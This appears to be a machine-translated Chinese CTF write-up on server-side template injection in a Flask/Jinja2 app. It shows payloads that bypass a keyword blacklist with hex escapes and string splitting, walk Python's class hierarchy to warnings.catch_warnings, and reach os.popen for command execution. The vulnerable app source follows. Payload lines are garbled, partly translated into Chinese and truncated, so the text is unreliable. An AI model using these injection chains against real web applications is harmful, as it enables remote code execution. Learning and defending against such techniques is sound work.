你就是我的master嘛,我再问一遍你就是我的master吗
周末之前ssti的题直接被在线有效载荷改了。因为环境的不同,我自己经历了这个过程,我在白嫖很不习惯,哈哈。
页面的内容随着name参数的值而变化。根据容器名猜测是注入到flask/jinjia2框架模板中,验证为模板注入。
打嗝模糊下过滤了哪些特殊符号?还会过滤诸如class base mro config Args init global等常见关键字。
Just Bypass 单引号替换为双引号,_下划线替换为十六进制x5f。点符号和关键字通过拼接被过滤和绕过,例如[“cla”和“ss”]
?name={ {()[ x5F x 5 fcla ss x5F x5F ][ x5F x5fba ses x5F x5F ][0][ x5F x5F subc lasses x5F x5F ]()} }
寻找他的基类(object)的子类,没有读不到的文件(python3中没有file类),通过warnings.catch_warnings类选择执行命令。
_ _子类_ _()。索引(警告。catch _ warnings)本来可以直接通过index获得这个类的位置,但是这个过滤器太多了。粗略估计位置搜索对比一下,位置是167。
得到位置后,用__global__看看这个模块有哪些全局函数。
?name={ {()[ x5F x5fcla ss x5F x5F ][ x5F x5fba ses x5F x5F ][0][ x5F x5F subc lasses x5F x5F ]()[166][ x5F x5F fini t x5F x5F ][ x5F x5F GLO bals x5F x5F ][ keys ]()} }
可以直接在python中运行一些函数,比如int(),list()等等。这些功能可以在__builtins__获得
为了执行命令,需要调用os模块。
?name={ {()[ x5F x5fcla ss x5F x5F ][ x5F x5fba ses x5F x5F ][0][ x5F x5F subc lasses x5F x5F ]()[166][ x5F x5F fini t x5F x5F ][ x5F x5F GLO bals x5F x5F ][ x5F x5F build tins x5x
Python3.6版本3.6使用系统函数执行命令。
?name={ {()[ x5F x5fcla ss x5F x5F ][ x5F x5fba ses x5F x5F ][0][ x5F x5F subc lasses x5F x5F ]()[166][ x5F x5F fini t x5F x5F ][ x5F x5F GLO bals x5F x5F ][ x5F x5F build tins x5x
成功执行,但系统功能没有回音。本来想打个shell或者curl给vps发数据。经过测试,vps可以接收可以连接到外部网络的数据,但是过滤器太多,无法使用参数。
好在popen(dir )。read()有回显。
最终有效载荷:
?name={ {()[ x5F x5fcla ss x5F x5F ][ x5F x5fba ses x5F x5F ][0][ x5F x5F subc lasses x5F x5F ]()[166][ x5F x5F fini t x5F x5F ][ x5F x5F GLO bals x5F x5F ][ x5F x5F build tins x5x
移除旁路的部分实际上如下:
[]._ _ class _ _。_ _ base _ _。_ _子类_ _ () [166]。_ _ init _ _。_ _ globals _[ _ _ buildings _ _ ][ _ _ import _ _ ]( OS
从jinja2导入template app=Flask(_ _ name _ _)@ app . route(/)def index():name=request . args . get( name , guest) blacklist=[% ,-,:, , class , base , mro , _ , config , args , init , global ,., , req , , attr ,Get ]for I in black list:if I in name:return template(你真是个可爱的小姑娘)。render() t=Template(早上好,工人br/你是我的‘名字’吗?br/!- ?name=master -)返回t . render()if _ _ name _ _= _ _ main _ _ :app . run()